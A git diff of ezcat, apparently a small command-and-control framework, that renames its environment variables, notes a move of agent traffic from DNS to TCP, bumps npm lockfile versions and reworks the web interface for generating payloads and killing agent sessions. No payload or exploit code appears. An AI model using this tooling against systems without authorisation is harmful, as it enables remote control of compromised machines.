diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml
index ae250c1..4529965 100644
--- a/.github/workflows/publish.yml
+++ b/.github/workflows/publish.yml
@@ -24,5 +24,6 @@ jobs:
 
       - name: 'Build Inventory Image'
         run: |
-          docker build . --tag ghcr.io/ngn13/ezcat:latest
+          docker build . --tag ghcr.io/ngn13/ezcat:latest --tag ghcr.io/ngn13/ezcat:${GITHUB_REF##*/}
+          docker push ghcr.io/ngn13/ezcat:${GITHUB_REF##*/}
           docker push ghcr.io/ngn13/ezcat:latest
diff --git a/Dockerfile b/Dockerfile
index 4bcfbeb..95c20c9 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -36,10 +36,7 @@ COPY payloads       ./payloads
 COPY docker/init.sh ./
 
 RUN chmod +x "init.sh"
-ENV STATIC_DIR "./static"
-ENV PAYLOAD_DIR "./payloads"
-
-ARG API_URL
-ENV API_URL $API_URL
+ENV EZCAT_STATIC_DIR "./static"
+ENV EZCAT_PAYLOAD_DIR "./payloads"
 
 ENTRYPOINT ["dumb-init", "./init.sh"]
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..3324ab4
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,6 @@
+format:
+	$(MAKE) -C server format
+	$(MAKE) -C payloads/stage format
+	cd app && npm run format
+
+.PHONY: format
diff --git a/README.md b/README.md
index e9d1a6b..1f10a6e 100644
--- a/README.md
+++ b/README.md
@@ -3,14 +3,10 @@ https://github.com/ngn13/ezcat/assets/78868991/75c3c7c5-6768-47e4-9ef1-0a9e66710
 
 ---
 
-> [!NOTE]
-> I'm migrating the agent communication from DNS to TCP because there is really no reason to use DNS
-> since the reverse shell connection goes over plain TCP anyway, [see this PR](https://github.com/ngn13/ezcat/pull/82)
-
 ### 📋 Features
 - Easy to install
 - Simple web interface
-- Agent communication over DNS
+- Agent communication over TCP
 - Receive TCP reverse shells
 - Linux & Windows support
 - Self deletion because why not
@@ -18,29 +14,29 @@ https://github.com/ngn13/ezcat/assets/78868991/75c3c7c5-6768-47e4-9ef1-0a9e66710
 ### 🚀 Install
 You can easily install ezcat with docker:
 ```
-docker run --rm --network host \
-    -e PASSWORD=securepassword \
+docker run --rm --network host       \
+    -e EZCAT_PASSWORD=securepassword \
     ghcr.io/ngn13/ezcat
 ```
 
 ### ⚙️ Configuration
 Configuration is handled with environment variables, here are all the options:
 
-- **`PASSWORD`**: Used to change the login password, by default it's `ezcat`, and for security, you should
+- **`EZCAT_PASSWORD`**: Used to change the login password, by default it's `ezcat`, and for security, you should
 definitely change it
-- **`SHELLIP`**: By default ezcat will try to detect your interface IP address (giving priority to tunnel interfaces).
+- **`EZCAT_SHELLIP`**: By default ezcat will try to detect your interface IP address (giving priority to tunnel interfaces).
 If you want set this IP address to something else by default, you can use the `SHELLIP` environment variable
-- **`DISABLE_MEGAMIND`**: When set to `1`, it disables the "no shells?" megamind meme that's displayed on the dashboard if you don't have
+- **`EZCAT_DISABLE_MEGAMIND`**: When set to `1`, it disables the "no shells?" megamind meme that's displayed on the dashboard if you don't have
 any active shells
-- **`HTTP_PORT`**: Used to change the port that the API server will listen on, default is 5566
-- **`AGENT_PORT`**: Used to change the agent communication port, default is 1053
-- **`API_URL`**: Used to change the API URL for the front-end application
-- **`DATA_DIR`**: Directory that the server will use to store stage builds, default is `./data`
-- **`STATIC_DIR`**: Used to change the front-end application (static) directory, it's pre-set in the Dockerfile,
+- **`EZCAT_HTTP_PORT`**: Used to change the port that the API server will listen on, default is 5566
+- **`EZCAT_AGENT_PORT`**: Used to change the agent communication port, default is 1053
+- **`EZCAT_API_URL`**: Used to change the API URL for the front-end application
+- **`EZCAT_DIST_DIR`**: Directory that the server will use to store payload/stage builds, default is `./data`
+- **`EZCAT_STATIC_DIR`**: Used to change the front-end application (static) directory, it's pre-set in the Dockerfile,
 you don't need to worry about it unless you are working on something
-- **`PAYLOAD_DIR`**: Specifies the directory that contains the payloads, it's pre-set in the Dockerfile, just like
-the `STATIC_DIR` option, don't worry about it
-- **`DEBUG`**: When set to `1`, it enables debug output for the server and the stage builds
+- **`EZCAT_PAYLOAD_DIR`**: Specifies the directory that contains the payloads, it's pre-set in the Dockerfile, just like
+the `EZCAT_STATIC_DIR` option, don't worry about it
+- **`EZCAT_DEBUG`**: When set to `1`, it enables debug output for the server and the stage builds
 
 ### ⚒️ Build
 To build ezcat, install a recent version go. Then download and [extract the latest release](http://github.com/ngn13/ezcat/releases/latest).
@@ -52,7 +48,7 @@ go build
 - To build the front-end application, install a recent version of node and npm change directory into the `app/` directory and run:
 ```bash
 npm i
-npm run build 
+npm run build
 ```
 
 To build different payloads during runtime, you will need GNU `coreutils` and `bash`, `build-essential` tools and optionally `mingw`
diff --git a/app/README.md b/app/README.md
deleted file mode 100644
index 86a2bb3..0000000
--- a/app/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# ezcat/app
-
-Frontend for the ezcat mini-C2 framework
diff --git a/app/package-lock.json b/app/package-lock.json
index 5e26ae3..4cd39ba 100644
--- a/app/package-lock.json
+++ b/app/package-lock.json
@@ -454,218 +454,263 @@
       "dev": true
     },
     "node_modules/@rollup/rollup-android-arm-eabi": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.21.2.tgz",
-      "integrity": "sha512-fSuPrt0ZO8uXeS+xP3b+yYTCBUd05MoSp2N/MFOgjhhUhMmchXlpTQrTpI8T+YAwAQuK7MafsCOxW7VrPMrJcg==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.27.3.tgz",
+      "integrity": "sha512-EzxVSkIvCFxUd4Mgm4xR9YXrcp976qVaHnqom/Tgm+vU79k4vV4eYTjmRvGfeoW8m9LVcsAy/lGjcgVegKEhLQ==",
       "cpu": [
         "arm"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "android"
       ]
     },
     "node_modules/@rollup/rollup-android-arm64": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.21.2.tgz",
-      "integrity": "sha512-xGU5ZQmPlsjQS6tzTTGwMsnKUtu0WVbl0hYpTPauvbRAnmIvpInhJtgjj3mcuJpEiuUw4v1s4BimkdfDWlh7gA==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.27.3.tgz",
+      "integrity": "sha512-LJc5pDf1wjlt9o/Giaw9Ofl+k/vLUaYsE2zeQGH85giX2F+wn/Cg8b3c5CDP3qmVmeO5NzwVUzQQxwZvC2eQKw==",
       "cpu": [
         "arm64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "android"
       ]
     },
     "node_modules/@rollup/rollup-darwin-arm64": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.21.2.tgz",
-      "integrity": "sha512-99AhQ3/ZMxU7jw34Sq8brzXqWH/bMnf7ZVhvLk9QU2cOepbQSVTns6qoErJmSiAvU3InRqC2RRZ5ovh1KN0d0Q==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.27.3.tgz",
+      "integrity": "sha512-OuRysZ1Mt7wpWJ+aYKblVbJWtVn3Cy52h8nLuNSzTqSesYw1EuN6wKp5NW/4eSre3mp12gqFRXOKTcN3AI3LqA==",
       "cpu": [
         "arm64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
       ]
     },
     "node_modules/@rollup/rollup-darwin-x64": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.21.2.tgz",
-      "integrity": "sha512-ZbRaUvw2iN/y37x6dY50D8m2BnDbBjlnMPotDi/qITMJ4sIxNY33HArjikDyakhSv0+ybdUxhWxE6kTI4oX26w==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.27.3.tgz",
+      "integrity": "sha512-xW//zjJMlJs2sOrCmXdB4d0uiilZsOdlGQIC/jjmMWT47lkLLoB1nsNhPUcnoqyi5YR6I4h+FjBpILxbEy8JRg==",
       "cpu": [
         "x64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
       ]
     },
+    "node_modules/@rollup/rollup-freebsd-arm64": {
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.27.3.tgz",
+      "integrity": "sha512-58E0tIcwZ+12nK1WiLzHOD8I0d0kdrY/+o7yFVPRHuVGY3twBwzwDdTIBGRxLmyjciMYl1B/U515GJy+yn46qw==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-freebsd-x64": {
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.27.3.tgz",
+      "integrity": "sha512-78fohrpcVwTLxg1ZzBMlwEimoAJmY6B+5TsyAZ3Vok7YabRBUvjYTsRXPTjGEvv/mfgVBepbW28OlMEz4w8wGA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
     "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.21.2.tgz",
-      "integrity": "sha512-ztRJJMiE8nnU1YFcdbd9BcH6bGWG1z+jP+IPW2oDUAPxPjo9dverIOyXz76m6IPA6udEL12reYeLojzW2cYL7w==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.27.3.tgz",
+      "integrity": "sha512-h2Ay79YFXyQi+QZKo3ISZDyKaVD7uUvukEHTOft7kh00WF9mxAaxZsNs3o/eukbeKuH35jBvQqrT61fzKfAB/Q==",
       "cpu": [
         "arm"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm-musleabihf": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.21.2.tgz",
-      "integrity": "sha512-flOcGHDZajGKYpLV0JNc0VFH361M7rnV1ee+NTeC/BQQ1/0pllYcFmxpagltANYt8FYf9+kL6RSk80Ziwyhr7w==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.27.3.tgz",
+      "integrity": "sha512-Sv2GWmrJfRY57urktVLQ0VKZjNZGogVtASAgosDZ1aUB+ykPxSi3X1nWORL5Jk0sTIIwQiPH7iE3BMi9zGWfkg==",
       "cpu": [
         "arm"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-gnu": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.21.2.tgz",
-      "integrity": "sha512-69CF19Kp3TdMopyteO/LJbWufOzqqXzkrv4L2sP8kfMaAQ6iwky7NoXTp7bD6/irKgknDKM0P9E/1l5XxVQAhw==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.27.3.tgz",
+      "integrity": "sha512-FPoJBLsPW2bDNWjSrwNuTPUt30VnfM8GPGRoLCYKZpPx0xiIEdFip3dH6CqgoT0RnoGXptaNziM0WlKgBc+OWQ==",
       "cpu": [
         "arm64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-musl": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.21.2.tgz",
-      "integrity": "sha512-48pD/fJkTiHAZTnZwR0VzHrao70/4MlzJrq0ZsILjLW/Ab/1XlVUStYyGt7tdyIiVSlGZbnliqmult/QGA2O2w==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.27.3.tgz",
+      "integrity": "sha512-TKxiOvBorYq4sUpA0JT+Fkh+l+G9DScnG5Dqx7wiiqVMiRSkzTclP35pE6eQQYjP4Gc8yEkJGea6rz4qyWhp3g==",
       "cpu": [
         "arm64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-powerpc64le-gnu": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.21.2.tgz",
-      "integrity": "sha512-cZdyuInj0ofc7mAQpKcPR2a2iu4YM4FQfuUzCVA2u4HI95lCwzjoPtdWjdpDKyHxI0UO82bLDoOaLfpZ/wviyQ==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.27.3.tgz",
+      "integrity": "sha512-v2M/mPvVUKVOKITa0oCFksnQQ/TqGrT+yD0184/cWHIu0LoIuYHwox0Pm3ccXEz8cEQDLk6FPKd1CCm+PlsISw==",
       "cpu": [
         "ppc64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-riscv64-gnu": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.21.2.tgz",
-      "integrity": "sha512-RL56JMT6NwQ0lXIQmMIWr1SW28z4E4pOhRRNqwWZeXpRlykRIlEpSWdsgNWJbYBEWD84eocjSGDu/XxbYeCmwg==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.27.3.tgz",
+      "integrity": "sha512-LdrI4Yocb1a/tFVkzmOE5WyYRgEBOyEhWYJe4gsDWDiwnjYKjNs7PS6SGlTDB7maOHF4kxevsuNBl2iOcj3b4A==",
       "cpu": [
         "riscv64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-s390x-gnu": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.21.2.tgz",
-      "integrity": "sha512-PMxkrWS9z38bCr3rWvDFVGD6sFeZJw4iQlhrup7ReGmfn7Oukrr/zweLhYX6v2/8J6Cep9IEA/SmjXjCmSbrMQ==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.27.3.tgz",
+      "integrity": "sha512-d4wVu6SXij/jyiwPvI6C4KxdGzuZOvJ6y9VfrcleHTwo68fl8vZC5ZYHsCVPUi4tndCfMlFniWgwonQ5CUpQcA==",
       "cpu": [
         "s390x"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-gnu": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.21.2.tgz",
-      "integrity": "sha512-B90tYAUoLhU22olrafY3JQCFLnT3NglazdwkHyxNDYF/zAxJt5fJUB/yBoWFoIQ7SQj+KLe3iL4BhOMa9fzgpw==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.27.3.tgz",
+      "integrity": "sha512-/6bn6pp1fsCGEY5n3yajmzZQAh+mW4QPItbiWxs69zskBzJuheb3tNynEjL+mKOsUSFK11X4LYF2BwwXnzWleA==",
       "cpu": [
         "x64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-musl": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.21.2.tgz",
-      "integrity": "sha512-7twFizNXudESmC9oneLGIUmoHiiLppz/Xs5uJQ4ShvE6234K0VB1/aJYU3f/4g7PhssLGKBVCC37uRkkOi8wjg==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.27.3.tgz",
+      "integrity": "sha512-nBXOfJds8OzUT1qUreT/en3eyOXd2EH5b0wr2bVB5999qHdGKkzGzIyKYaKj02lXk6wpN71ltLIaQpu58YFBoQ==",
       "cpu": [
         "x64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-win32-arm64-msvc": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.21.2.tgz",
-      "integrity": "sha512-9rRero0E7qTeYf6+rFh3AErTNU1VCQg2mn7CQcI44vNUWM9Ze7MSRS/9RFuSsox+vstRt97+x3sOhEey024FRQ==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.27.3.tgz",
+      "integrity": "sha512-ogfbEVQgIZOz5WPWXF2HVb6En+kWzScuxJo/WdQTqEgeyGkaa2ui5sQav9Zkr7bnNCLK48uxmmK0TySm22eiuw==",
       "cpu": [
         "arm64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@rollup/rollup-win32-ia32-msvc": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.21.2.tgz",
-      "integrity": "sha512-5rA4vjlqgrpbFVVHX3qkrCo/fZTj1q0Xxpg+Z7yIo3J2AilW7t2+n6Q8Jrx+4MrYpAnjttTYF8rr7bP46BPzRw==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.27.3.tgz",
+      "integrity": "sha512-ecE36ZBMLINqiTtSNQ1vzWc5pXLQHlf/oqGp/bSbi7iedcjcNb6QbCBNG73Euyy2C+l/fn8qKWEwxr+0SSfs3w==",
       "cpu": [
         "ia32"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@rollup/rollup-win32-x64-msvc": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.21.2.tgz",
-      "integrity": "sha512-6UUxd0+SKomjdzuAcp+HAmxw1FlGBnl1v2yEPSabtx4lBfdXHDVsW7+lQkgz9cNFJGY3AWR7+V8P5BqkD9L9nA==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.27.3.tgz",
+      "integrity": "sha512-vliZLrDmYKyaUoMzEbMTg2JkerfBjn03KmAw9CykO0Zzkzoyd7o3iZNam/TpyWNjNT+Cz2iO3P9Smv2wgrR+Eg==",
       "cpu": [
         "x64"
       ],
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@sveltejs/adapter-auto": {
-      "version": "3.2.5",
-      "resolved": "https://registry.npmjs.org/@sveltejs/adapter-auto/-/adapter-auto-3.2.5.tgz",
-      "integrity": "sha512-27LR+uKccZ62lgq4N/hvyU2G+hTP9fxWEAfnZcl70HnyfAjMSsGk1z/SjAPXNCD1mVJIE7IFu3TQ8cQ/UH3c0A==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/@sveltejs/adapter-auto/-/adapter-auto-3.3.1.tgz",
+      "integrity": "sha512-5Sc7WAxYdL6q9j/+D0jJKjGREGlfIevDyHSQ2eNETHcB1TKlQWHcAo8AS8H1QdjNvSXpvOwNjykDUHPEAyGgdQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "import-meta-resolve": "^4.1.0"
       },
@@ -674,10 +719,11 @@
       }
     },
     "node_modules/@sveltejs/adapter-static": {
-      "version": "3.0.5",
-      "resolved": "https://registry.npmjs.org/@sveltejs/adapter-static/-/adapter-static-3.0.5.tgz",
-      "integrity": "sha512-kFJR7RxeB6FBvrKZWAEzIALatgy11ISaaZbcPup8JdWUdrmmfUHHTJ738YHJTEfnCiiXi6aX8Q6ePY7tnSMD6Q==",
+      "version": "3.0.6",
+      "resolved": "https://registry.npmjs.org/@sveltejs/adapter-static/-/adapter-static-3.0.6.tgz",
+      "integrity": "sha512-MGJcesnJWj7FxDcB/GbrdYD3q24Uk0PIL4QIX149ku+hlJuj//nxUbb0HxUTpjkecWfHjVveSUnUaQWnPRXlpg==",
       "dev": true,
+      "license": "MIT",
       "peerDependencies": {
         "@sveltejs/kit": "^2.0.0"
       }
@@ -759,10 +805,11 @@
       "dev": true
     },
     "node_modules/@types/estree": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
-      "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==",
-      "dev": true
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz",
+      "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/acorn": {
       "version": "8.14.0",
@@ -943,12 +990,6 @@
         "@types/estree": "^1.0.6"
       }
     },
-    "node_modules/is-reference/node_modules/@types/estree": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz",
-      "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==",
-      "dev": true
-    },
     "node_modules/kleur": {
       "version": "4.1.5",
       "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz",
@@ -1075,12 +1116,13 @@
       }
     },
     "node_modules/rollup": {
-      "version": "4.21.2",
-      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.21.2.tgz",
-      "integrity": "sha512-e3TapAgYf9xjdLvKQCkQTnbTKd4a6jwlpQSJJFokHGaX2IVjoEqkIIhiQfqsi0cdwlOD+tQGuOd5AJkc5RngBw==",
+      "version": "4.27.3",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.27.3.tgz",
+      "integrity": "sha512-SLsCOnlmGt9VoZ9Ek8yBK8tAdmPHeppkw+Xa7yDlCEhDTvwYei03JlWo1fdc7YTfLZ4tD8riJCUyAgTbszk1fQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@types/estree": "1.0.5"
+        "@types/estree": "1.0.6"
       },
       "bin": {
         "rollup": "dist/bin/rollup"
@@ -1090,22 +1132,24 @@
         "npm": ">=8.0.0"
       },
       "optionalDependencies": {
-        "@rollup/rollup-android-arm-eabi": "4.21.2",
-        "@rollup/rollup-android-arm64": "4.21.2",
-        "@rollup/rollup-darwin-arm64": "4.21.2",
-        "@rollup/rollup-darwin-x64": "4.21.2",
-        "@rollup/rollup-linux-arm-gnueabihf": "4.21.2",
-        "@rollup/rollup-linux-arm-musleabihf": "4.21.2",
-        "@rollup/rollup-linux-arm64-gnu": "4.21.2",
-        "@rollup/rollup-linux-arm64-musl": "4.21.2",
-        "@rollup/rollup-linux-powerpc64le-gnu": "4.21.2",
-        "@rollup/rollup-linux-riscv64-gnu": "4.21.2",
-        "@rollup/rollup-linux-s390x-gnu": "4.21.2",
-        "@rollup/rollup-linux-x64-gnu": "4.21.2",
-        "@rollup/rollup-linux-x64-musl": "4.21.2",
-        "@rollup/rollup-win32-arm64-msvc": "4.21.2",
-        "@rollup/rollup-win32-ia32-msvc": "4.21.2",
-        "@rollup/rollup-win32-x64-msvc": "4.21.2",
+        "@rollup/rollup-android-arm-eabi": "4.27.3",
+        "@rollup/rollup-android-arm64": "4.27.3",
+        "@rollup/rollup-darwin-arm64": "4.27.3",
+        "@rollup/rollup-darwin-x64": "4.27.3",
+        "@rollup/rollup-freebsd-arm64": "4.27.3",
+        "@rollup/rollup-freebsd-x64": "4.27.3",
+        "@rollup/rollup-linux-arm-gnueabihf": "4.27.3",
+        "@rollup/rollup-linux-arm-musleabihf": "4.27.3",
+        "@rollup/rollup-linux-arm64-gnu": "4.27.3",
+        "@rollup/rollup-linux-arm64-musl": "4.27.3",
+        "@rollup/rollup-linux-powerpc64le-gnu": "4.27.3",
+        "@rollup/rollup-linux-riscv64-gnu": "4.27.3",
+        "@rollup/rollup-linux-s390x-gnu": "4.27.3",
+        "@rollup/rollup-linux-x64-gnu": "4.27.3",
+        "@rollup/rollup-linux-x64-musl": "4.27.3",
+        "@rollup/rollup-win32-arm64-msvc": "4.27.3",
+        "@rollup/rollup-win32-ia32-msvc": "4.27.3",
+        "@rollup/rollup-win32-x64-msvc": "4.27.3",
         "fsevents": "~2.3.2"
       }
     },
diff --git a/app/src/lib/agent.svelte b/app/src/lib/agent.svelte
index 1f99596..be0f8e5 100644
--- a/app/src/lib/agent.svelte
+++ b/app/src/lib/agent.svelte
@@ -11,13 +11,13 @@
   async function checkjob(id) {
     const res = await getjob(fetch, id);
 
-    if (res["active"]) {
-      waiting = res["message"];
-    } else if (!res["active"] && res["success"]) {
-      success = res["message"];
+    if (res["waiting"]) {
+      waiting = "Waiting for response";
+    } else if (!res["waiting"] && res["success"]) {
+      success = `Got a successful response: ${res["message"]}`;
       return await deljob(fetch, id);
-    } else if (!res["active"] && !res["success"]) {
-      error = res["message"];
+    } else if (!res["waiting"] && !res["success"]) {
+      error = `Got a failure response: ${res["message"]}`;
       return await deljob(fetch, id);
     }
 
@@ -27,14 +27,14 @@
   }
 
   async function run() {
-    await goto(`/run/${data.id}`);
+    await goto(`/run/${data.session}`);
   }
 
   async function kill() {
-    const res = await GET(fetch, `user/agent/kill?id=${data.id}`, true);
+    const res = await GET(fetch, `user/agent/kill?session=${data.session}`, true);
 
     if (res["error"] != undefined) {
-      error = res["error"];
+      error = `Request failed: ${res["error"]}`;
       return;
     }
 
@@ -51,7 +51,7 @@
       <h1>[{data.username}@{data.hostname}]</h1>
       <div class="detail">
         <h3>System</h3>
-        <p>{data.kernel}</p>
+        <p>{data.os}</p>
       </div>
       <div class="detail">
         <h3>Address</h3>
diff --git a/app/src/routes/generate/+page.svelte b/app/src/routes/generate/+page.svelte
index 3742eca..054f563 100644
--- a/app/src/routes/generate/+page.svelte
+++ b/app/src/routes/generate/+page.svelte
@@ -1,5 +1,5 @@
 <script>
-  import { PUT, getjob, deljob } from "../../lib/api.js";
+  import { PUT } from "../../lib/api.js";
   import Cardbar from "../../lib/cardbar.svelte";
   import Select from "../../lib/select.svelte";
   import Input from "../../lib/input.svelte";
@@ -49,35 +49,10 @@
     get_types();
   }
 
-  async function checkjob(id) {
-    const res = await getjob(fetch, id);
-
-    if (res["active"]) {
-      waiting = res["message"];
-    } else if (!res["active"] && res["success"]) {
-      try {
-        navigator.clipboard.writeText(res["message"]);
-      } catch (error) {
-        error = "Failed to copy payload to the clipboard";
-      }
-      success = "Copied payload to the clipboard";
-      await deljob(fetch, id);
-
-      setTimeout(async () => {
-        await goto("/");
-      }, 2000);
-    } else if (!res["active"] && !res["success"]) {
-      error = res["message"];
-      return await deljob(fetch, id);
-    }
-
-    setTimeout(async () => {
-      await checkjob(id);
-    }, 2000);
-  }
-
   async function generate(e) {
     e.preventDefault();
+    waiting = "Waiting for the build";
+
     const res = await PUT(
       fetch,
       "user/payload/build",
@@ -93,10 +68,19 @@
       error = res["error"];
     }
 
-    await checkjob(res["job"]);
+    console.info(res["payload"]);
+
+    try {
+      navigator.clipboard.writeText(res["payload"]);
+      success = "Copied payload to the clipboard";
+    } catch (error) {
+      error = "Failed to copy payload to the clipboard";
+      alert(res["payload"]);
+    }
+
     setTimeout(async () => {
-      await checkjob(res["job"]);
-    }, 2000);
+      await goto("/");
+    }, 2500);
   }
 
   payloads.forEach((p) => {
diff --git a/app/src/routes/run/[id]/+page.js b/app/src/routes/run/[session]/+page.js
similarity index 90%
rename from app/src/routes/run/[id]/+page.js
rename to app/src/routes/run/[session]/+page.js
index f98fa4d..f2923fc 100644
